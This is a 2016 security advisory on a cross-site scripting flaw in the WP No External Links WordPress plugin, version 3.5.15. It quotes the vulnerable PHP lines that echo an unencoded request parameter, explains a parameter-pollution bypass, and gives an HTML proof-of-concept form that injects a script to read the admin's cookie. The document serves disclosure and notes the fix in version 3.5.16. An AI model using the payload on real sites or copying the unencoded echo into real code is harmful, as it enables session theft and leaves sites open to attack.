WordPress WP No External Links plugin version 3.5.15 suffers from a cross site scripting vulnerability.
708a16d3086d6d4fbf54c12feb7c24010807b262e8b4085980426fd79cdb8538------------------------------------------------------------------------
Cross-Site Scripting vulnerability in WP No External Links WordPress
Plugin
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Yorick Koster, July 2016
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Abstract
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A Cross-Site Scripting vulnerability was found in the WP No External
Links WordPress Plugin. This issue allows an attacker to perform a wide
variety of actions, such as stealing Administrators' session tokens, or
performing arbitrary actions on their behalf. In order to exploit this
issue, the attacker has to lure/force a logged on WordPress
Administrator into opening a malicious website.
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OVE ID
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OVE-20160712-0020
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Tested versions
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This issue was successfully tested on WP No External Links WordPress
Plugin version 3.5.15.
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Fix
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This issue is resolved in WP No External Links version 3.5.16.
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Details
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https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_wp_no_external_links_wordpress_plugin.html
The issue exists in the file wp-noexternallinks-options.php and is caused by the lack of output encoding on the page request parameter. The vulnerable code is listed below.
<a href="?page=<?php echo $_REQUEST['page']; ?>"
[...]
<a href="?page=<?php echo $_REQUEST['page']; ?>&action=stats"
[...]
<input type="hidden" name="page" value="<?php echo $_REQUEST['page']; ?>">
Normally, the page URL parameter is validated by WordPress, which prevents Cross-Site Scripting. However in this case the value of page is obtained from $_REQUEST, not from $_GET. This allows for parameter pollution where the attacker puts a benign page value in the URL and simultaneously submits a malicious page value as POST parameter.
Proof of concept
<html>
<body>
<form action="http://<target>/wp-admin/options-general.php?page=wp-noexternallinks/wp-noexternallinks-options.php" method="POST">
<input type="hidden" name="page" value=""<script>alert(document.cookie);</script>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
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projects in a fun and educational way.
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